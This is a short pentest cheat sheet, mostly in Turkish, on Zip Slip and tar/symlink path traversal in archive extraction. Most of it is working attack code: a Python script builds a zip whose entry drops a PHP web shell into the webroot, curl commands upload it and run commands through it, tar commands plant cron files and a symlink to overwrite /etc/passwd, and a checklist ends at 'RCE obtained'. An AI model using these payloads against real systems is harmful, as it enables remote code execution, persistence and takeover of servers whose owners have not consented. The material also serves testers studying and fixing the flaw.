Archive Extraction Path Traversal

generic zip-slip

Uygulama kullanıcı arşivini güvenmeden açıyorsa ../ veya mutlak path ile webroot/SSH key üzerine yazılır. Classic Zip Slip → RCE.

Metodoloji

1. Upload/extract endpoint’ini ve açılan kütüphaneyi bul.

2. ../ ve mutlak path içeren arşiv üret.

3. Yazılan dosyanın konumunu (web shell / cron / authorized_keys) doğrula.

4. Kod yürütme veya oturum primitifine çevir.

Zip Slip

# kötü entry isimli zip
python3 <<'PY'
import zipfile
z=zipfile.ZipFile('evil.zip','w')
z.writestr('../../../../var/www/html/shell.php','<?php system($_GET["c"]); ?>')
z.close()
PY

zip -y evil.zip ../../../../tmp/pwned

curl -F 'file=@evil.zip' https://TARGET/upload

curl -sk 'https://TARGET/shell.php?c=id'

Tar / symlink

echo 'pwn' > x

tar --absolute-names -cf evil.tar /etc/cron.d/pwn 2>/dev/null || tar -cf evil.tar --transform='s|^|../../../etc/cron.d/|' x

ln -s /etc/passwd link

tar -cvhf evil.tar link

extract symlink → sonraki dosya /etc/passwd üzerine yazar

PoC doğrulama

unzip -l evil.zip

python3 -c 'import zipfile

z=zipfile.ZipFile("evil.zip")

print(z.namelist())'

tar -tvf evil.tar

# hedefte
find /var/www /tmp /home -name 'shell.php' 2>/dev/null

Checklist

[ ] extract endpoint bulundu
[ ] ../ veya symlink arşivi kabul edildi
[ ] yazılan path doğrulandı
[ ] RCE/oturum elde edildi